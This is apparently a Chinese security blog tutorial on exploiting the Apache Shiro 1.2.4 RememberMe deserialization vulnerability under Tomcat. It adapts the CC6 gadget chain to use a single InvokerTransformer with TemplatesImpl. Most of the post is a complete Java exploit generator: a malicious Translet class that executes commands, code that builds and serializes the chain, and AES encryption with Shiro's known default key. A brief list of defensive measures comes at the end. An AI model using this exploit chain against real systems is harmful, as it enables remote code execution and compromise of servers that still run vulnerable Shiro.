Shiro 1.2.4 反序列化实战:CC6链单Transformer改造,绕过Tomcat数组限制
Shiro 1.2.4 反序列化漏洞实战:CC6链单Transformer改造绕过Tomcat限制
在Java安全研究领域,Shiro框架的反序列化漏洞一直是热门话题。本文将深入探讨如何在Tomcat环境下,通过改造CC6利用链,仅使用单个InvokerTransformer实现命令执行,完美绕过Shiro对非Java原生数组类的加载限制。
1. 漏洞背景与核心挑战
Apache Shiro作为广泛使用的Java安全框架,其1.2.4及更早版本存在一个关键的安全缺陷——使用固定密钥进行RememberMe功能的Cookie加密。攻击者可以构造恶意序列化数据,在服务端反序列化时实现远程代码执行。
但实际渗透测试中会遇到一个棘手问题:当Shiro部署在Tomcat环境下时,传统的CC链利用方式会因数组类加载限制而失败。具体表现为:
java.lang.ClassNotFoundException: [Lorg.apache.commons.collections.Transformer;这个错误的根源在于Shiro重写了ClassResolvingObjectInputStream的resolveClass方法。当反序列化流中包含非Java原生数组类时,Tomcat的类加载器无法正确加载这些类。
2. CC6链原理与限制分析
让我们先回顾标准CC6链的核心组件:
- TiedMapEntry:触发点,其
hashCode()会调用getValue() - LazyMap:通过
get()方法触发transform - ChainedTransformer:多Transformer串联执行
传统实现需要Transformer数组:
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", ...), new InvokerTransformer("invoke", ...), new InvokerTransformer("exec", ...) };问题正出在这个数组上——[Lorg.apache.commons.collections.Transformer;不是Java原生数组类型,导致Tomcat无法加载。
3. 单Transformer改造方案
3.1 关键突破点:LazyMap的get方法
观察LazyMap.get()的源码实现:
public Object get(Object key) { if (!map.containsKey(key)) { Object value = factory.transform(key); // 关键调用 map.put(key, value); return value; } return map.get(key); }这里的关键发现是:传入的key会直接作为参数传递给transform方法。这意味着我们可以完全控制transform方法的输入参数,不再需要ConstantTransformer来传递Runtime实例。
3.2 改造后的调用链
改造后的核心思路:
- 使用
TemplatesImpl承载恶意字节码 - 将
TemplatesImpl实例作为key传入 - 通过
InvokerTransformer直接调用newTransformer()
graph TD A[TiedMapEntry.hashCode] --> B[TiedMapEntry.getValue] B --> C[LazyMap.get] C --> D[InvokerTransformer.transform] D --> E[TemplatesImpl.newTransformer] E --> F[恶意代码执行]3.3 关键技术实现
3.3.1 恶意类构造
首先创建包含恶意代码的模板类:
public class Evil extends AbstractTranslet { public Evil() throws Exception { Runtime.getRuntime().exec("calc"); } // 必须实现的抽象方法 public void transform(DOM document, SerializationHandler[] handlers) {} public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {} }3.3.2 TemplatesImpl加载
通过反射设置关键字段:
TemplatesImpl templates = new TemplatesImpl(); setField(templates, "_bytecodes", new byte[][]{evilBytes}); setField(templates, "_name", "Pwn"); setField(templates, "_tfactory", new TransformerFactoryImpl());3.3.3 精简后的Transformer配置
仅需单个InvokerTransformer:
Transformer transformer = new InvokerTransformer("newTransformer", null, null);4. 完整EXP实现
以下是经过Tomcat环境验证的完整利用代码:
import com.sun.org.apache.xalan.internal.xsltc.trax.*; import org.apache.commons.collections.*; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.*; import org.apache.commons.collections.keyvalue.*; import java.util.*; import java.lang.reflect.*; public class ShiroCC6SingleTransformer { public static void setField(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static byte[] generatePayload(byte[] evilBytes) throws Exception { // 1. 构造TemplatesImpl TemplatesImpl templates = new TemplatesImpl(); setField(templates, "_bytecodes", new byte[][]{evilBytes}); setField(templates, "_name", "Pwn"); setField(templates, "_tfactory", new TransformerFactoryImpl()); // 2. 配置单Transformer Transformer transformer = new InvokerTransformer("getClass", null, null); // 3. 构建LazyMap链 Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry entry = new TiedMapEntry(lazyMap, templates); // 4. 触发反序列化 Map expMap = new HashMap(); expMap.put(entry, "value"); // 5. 反射修改方法名 setField(transformer, "iMethodName", "newTransformer"); // 清理防止本地触发 lazyMap.clear(); // 序列化为字节数组 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(expMap); return baos.toByteArray(); } }5. 实战注意事项
- 字节码处理:确保evilBytes是有效的恶意类字节码,可通过ClassPool获取:
ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(Evil.class.getName()); byte[] evilBytes = clazz.toBytecode();- Shiro加密:最终payload需要经过AES加密:
AesCipherService aes = new AesCipherService(); byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); ByteSource ciphertext = aes.encrypt(payload, key);- 防御措施:
- 升级到Shiro 1.2.5及以上版本
- 修改默认加密密钥
- 禁用RememberMe功能
6. 技术对比与优势
| 特性 | 传统CC6链 | 本方案 |
|---|---|---|
| Transformer数量 | 多个(数组) | 单个 |
| 依赖数组类 | 是 | 否 |
| Tomcat兼容性 | 不兼容 | 兼容 |
| 代码复杂度 | 高 | 低 |
| 可靠性 | 受环境限制 | 更稳定 |
这种改造方案不仅解决了Tomcat环境下的限制问题,还简化了利用链结构,提高了攻击的可靠性。对于安全研究人员而言,理解这种改造思路有助于更好地分析其他反序列化漏洞的利用可能性。